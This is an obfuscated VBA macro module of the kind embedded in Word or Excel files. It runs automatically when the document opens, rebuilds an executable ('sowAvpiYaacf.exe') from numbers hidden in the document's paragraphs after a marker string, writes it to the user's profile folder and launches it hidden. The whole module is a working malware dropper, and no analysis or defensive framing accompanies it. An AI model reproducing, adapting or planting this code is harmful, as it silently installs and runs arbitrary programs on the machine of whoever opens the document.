Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Ppkhu12
End Sub

Sub Ppkhu12()
    Dim Ppkhu7 As Integer
    Dim Ppkhu1 As String
    Dim Ppkhu2 As String
    Dim Ppkhu3 As Integer
    Dim Ppkhu4 As Paragraph
    Dim Ppkhu8 As Integer
    Dim Ppkhu9 As Boolean
    Dim Ppkhu5 As Integer
    Dim Ppkhu11 As String
    Dim Ppkhu6 As Byte
    Dim Vhoxjtytrn As String
    Vhoxjtytrn = "Vhoxjtytrn"
    Ppkhu1 = "sowAvpiYaacf.exe"
    Ppkhu2 = Environ("USERPROFILE")
    ChDrive (Ppkhu2)
    ChDir (Ppkhu2)
    Ppkhu3 = FreeFile()
    Open Ppkhu1 For Binary As Ppkhu3
    For Each Ppkhu4 In ActiveDocument.Paragraphs
        DoEvents
            Ppkhu11 = Ppkhu4.Range.Text
        If (Ppkhu9 = True) Then
            Ppkhu8 = 1
            While (Ppkhu8 < Len(Ppkhu11))
                Ppkhu6 = Mid(Ppkhu11, Ppkhu8, 4)
                Put #Ppkhu3, , Ppkhu6
                Ppkhu8 = Ppkhu8 + 4
            Wend
        ElseIf (InStr(1, Ppkhu11, Vhoxjtytrn) > 0 And Len(Ppkhu11) > 0) Then
            Ppkhu9 = True
        End If
    Next
    Close #Ppkhu3
    Ppkhu13 (Ppkhu1)
End Sub

Sub Ppkhu13(Ppkhu10 As String)
    Dim Ppkhu7 As Integer
    Dim Ppkhu2 As String
    Ppkhu2 = Environ("USERPROFILE")
    ChDrive (Ppkhu2)
    ChDir (Ppkhu2)
    Ppkhu7 = Shell(Ppkhu10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub